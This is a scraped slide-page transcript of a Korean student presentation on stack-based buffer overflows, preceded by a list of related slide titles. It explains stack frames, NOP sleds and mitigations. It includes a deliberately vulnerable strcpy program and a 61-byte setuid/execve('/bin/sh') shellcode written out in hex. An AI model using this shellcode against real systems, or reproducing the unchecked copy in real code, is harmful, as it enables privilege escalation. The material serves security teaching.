시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 20092213 박동혁.

Slides:



Advertisements
Similar presentations
1 08 배열. 한국대학교 객체지향연구소 2 C 로 배우는 프로그래밍 기초 2 nd Edition 배열  동일한 자료유형의 여러 변수를 일괄 선언  연속적인 항목들이 동일한 크기로 메모리에 저장되는 구조  동일한 자료 유형이 여러 개 필요한 경우에 이용할 수 있는.
Advertisements

- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
Format String Attack! 포맷 스트링 공격 경일대학교 사이버보안학과 학년 남주호.
순천향대학교 정보보호연구회 김 홍 기 포인터와 문자열 순천향대학교 정보보호연구회 김 홍 기
Chapter 05. 코드 보안 : 코드 속에 뒷길을 만드는 기술
Basic of Buffer Over Flow
Linux/UNIX Programming
2장. 프로그램의 기본 구성. 2장. 프로그램의 기본 구성 2-1"Hello, World!" 들여다 보기 /* Hello.c */ #include int main(void) { printf("Hello, World! \n"); return 0;
인공지능실험실 석사 2학기 이희재 TCP/IP Socket Programming… 제 11장 프로세스간 통신 인공지능실험실 석사 2학기 이희재
9장. C 언어의 핵심! 함수. 9장. C 언어의 핵심! 함수 9-1 함수의 정의와 선언 main 함수 다시 보기 : 함수의 기본 형태 { } 그림 9-1.
Chapter 6. 리눅스 백도어 황 선 환.
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
버퍼 오버플로우 by 강희원,김무혁.
컴퓨터 프로그래밍 기초 [Final] 기말고사
-Part2- 제3장 포인터란 무엇인가.
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
제15장 파일 입출력 문자열을 출력하는 여러가지 방법 (15-2쪽) 문자열만 처리하는 입출력 함수
7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다.
UNIT 07 Memory Map 로봇 SW 교육원 조용수.
버퍼 오버플로우 시스템보안 류기환 권재홍.
버퍼 오버플로우 시스템보안 인터넷공학전공 권영락.
Chapter 25. 메모리 관리와 메모리의 동적 할당
C 프로그래밍.
컴퓨터 프로그래밍 기초 #02 : printf(), scanf()
26. 매크로와 전처리기.
C++ Espresso 제12장 템플릿.
TCP/IP 응용 프로그램에 적용 가능한 다양한 소켓 옵션을 이해하고 활용한다.
BOF of 2.6 Kernel ! 박수완 / Su-Wan, PARK [ L1nkC] 숭실대학교 정보보호동아리 ACK
타이머카운터 사용법 휴먼네트웍스 기술연구소
11 표준 입출력과 파일 입출력 데이터를 읽고 쓰는 다양한 방법 익히기!.
14장. 포인터와 함수에 대한 이해.
C#.
C 2장. C 프로그램 시작하기 #include <stdio.h> int main(void) { int num;
해양생태계 이상현상 대응관리 남이현.
Buffer Overflow
사용자 함수 사용하기 함수 함수 정의 프로그램에서 특정한 기능을 수행하도록 만든 하나의 단위 작업
어서와 C언어는 처음이지 제14장.
UNIT 07 Memory Map 로봇 SW 교육원 조용수.
Linux/UNIX Programming
컴퓨터 개론 및 실습 11. 동적 메모리 할당.
Seoul National University
3장 상수 변수 기본 자료형 키워드와 식별자 상수와 변수 기본 자료형 형변환 자료형의 재정의.
쉽게 풀어쓴 C언어 Express 제14장 포인터 활용 C Express Slide 1 (of 22)
19. 함수 포인터와 void 포인터.
Chapter6 : JVM과 메모리 6.1 JVM의 구조와 메모리 모델 6.2 프로그램 실행과 메모리 6.3 객체생성과 메모리
10장 부프로그램 구현 순천향대학교 컴퓨터공학과 하 상 호.
DK-128 실습 타이머카운터 사용법 아이티즌 기술연구소
Security and Programming
컴퓨터 프로그래밍 기초 - 10th : 포인터 및 구조체 -
Hanoi Tower.
Copyrightⓒ ohta. All Rights Reserved.
컴퓨터 프로그래밍 기초 - 8th : 함수와 변수 / 배열 -
Linux/UNIX Programming
Choi Seong Yun 컴퓨터 프로그래밍 기초 #03 : 변수와 자료형 Choi Seong Yun
Fucntion 요약.
Canary value 스택 가드(Stack Guard).
디버깅 관련 옵션 실습해보기 발표 : 2008년 5월 19일 2분반 정 훈 승
FTZ 과제풀이 Level 11,12 HyunJae Lee
7주차: Functions and Arrays
발표자 : 이지연 Programming Systems Lab.
컴퓨터 프로그래밍 기초 - 9th : 배열 / 포인터 -
구조체(struct)와 공용체(union)
실습과제 (변수와 자료형, ) 1. 다음 작업 (가), (나), (다)를 수행하는 프로그램 작성
argc, argv 의 사용방법 #include <stdio.h>
1. 지역변수와 전역변수 2. auto, register 3. static,extern 4. 도움말 사용법
어서와 C언어는 처음이지 제21장.
윈도우에서의 유니코드.
CODE INJECTION 시스템B 김한슬.
Assembly 05 방호남 07 반지훈 09 박상욱.
한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영
Presentation transcript:

시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 20092213 박동혁

1 2 3 4 Let’s try! Conclusion CONTENTS What is the Buffer Overflow? 2 | 24 CONTENTS 1 2 3 4 What is the Buffer Overflow? What should we know to do? Let’s try! Conclusion

Buffer Buffer Overflow 프로그램 처리과정에서 데이터가 일시적으로 저장되는 공간 What is the Buffer Overflow? 3 | 24 WHAT IS THE BUFFER OVERFLOW? Buffer 프로그램 처리과정에서 데이터가 일시적으로 저장되는 공간 C에서 문자열 저장 시 많이 사용 Buffer Overflow 가동되고 있는 프로그램에, 설정되어 있는 가용 용량보다 훨씬 큰 용량의 데이터를 한꺼번에 보낼 때 서비스가 정지되는 상태

Stack-based Buffer Overflow What is the Buffer Overflow? 4 | 24 WHAT IS THE BUFFER OVERFLOW? Stack-based Buffer Overflow 스택 영역에 버퍼 크기를 초과하는 데이터를 기록하고 저장된 복귀주소를 변경함으로써 임의의 코드를 실행 Heap-based Buffer Overflow 힙 영역에 버퍼 크기를 초과하는 데이터를 기록하고 저장된 복귀주소를 변경함으로써 임의의 코드를 실행

Stack-based Buffer Overflow What is the Buffer Overflow? 5 | 24 WHAT IS THE BUFFER OVERFLOW? Stack-based Buffer Overflow 저희가 오늘 알아볼 스택베이스 버퍼 오퍼플로우를 이해하기 위해서는 먼저 프로그래밍 데이터 처리과정을 알아야 합니다. 하나의 프로그램은 수많은 함수로 구성되어 있는데 이러한 함수가 호출될 때, 지역변수와 복귀주소가 스택에 저장됩니다. 복귀주소는 함수가 종료될 때 자신을 호출한 함수의 주소를 말하는데 버퍼 오버플로우는 이 복귀주소가 지역변수의 데이터에 의해 침범당할 때 발생합니다

EBP (Extended Base Pointer) 는 현재 스택 프레임의 가장 바닥 지점의 주소를 가지고 있는 레지스터 What should we know to do? 6 | 24 WHAT SHOULD WE KNOW TO DO? NOP를 이용한 Stack buffer overflow 공격 목표는 RET의 주소를 자신이 원하는 Shell Code로 변경하는 것.   Buffer + EMP에 Shell Code의 크기를 빼면 정확히 공격해야 할 NOP양이 나온다. EBP (Extended Base Pointer) 는 현재 스택 프레임의 가장 바닥 지점의 주소를 가지고 있는 레지스터

C Language WHAT SHOULD WE KNOW TO DO? #include <stdio.h> 7 | 24 WHAT SHOULD WE KNOW TO DO? C Language ESP (Extended Stack Pointer) 는 현재 스택 프레임의 가장 윗부분의 주소를 가지고 있는 부분 #include <stdio.h> int sp(void) {__asm__("movl %esp, %eax");} main() { int esp; esp=sp(); printf("ESP : %p\n",esp); } #include <stdio.h> int main(int argc,char *argv[]) { char buffer[100]; strcpy(buffer,argv[1]); printf("%s"\n",buffer); return 0; }

Shell Code setuid(0); execve("/bin/sh"); 61 Bytes What should we know to do? 8 | 24 WHAT SHOULD WE KNOW TO DO? 61 Bytes Shell Code setuid(0); execve("/bin/sh"); "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”

Let’s try! 9 | 24 LET’S TRY!

Let’s try! 10 | 24 LET’S TRY!

Let’s try! 11 | 24 LET’S TRY!

Let’s try! 12 | 24 LET’S TRY!

Let’s try! 13 | 24 LET’S TRY!

CONCLUSION 운영체제 커널 패치 사용자 스택 영역에 데이터 기록 금지 14 | 24 CONCLUSION 운영체제 커널 패치 사용자 스택 영역에 데이터 기록 금지 함수로부터 복귀할 때 스택의 무결성(integrity) 검사 프로그래머 관점에서의 보안대책 Boundary를 검사하는 컴파일러 및 링커 사용 Boundary를 검사하는 함수 사용 사용 자제 함수들 strcat(), strcpy(), gets(), scanf(), sscanf(), vscanf(), vsscanf(), sprintf(), vsprintf(), gethostbyname() 사용 권장 함수들 strncat(), strncpy(), fgets(), fscanf(), vfscanf(), snprintf(), vsnprintf() Overflow_wrapper 사용 버퍼 크기 검사 후 원래의 프로그램 수행

Q&A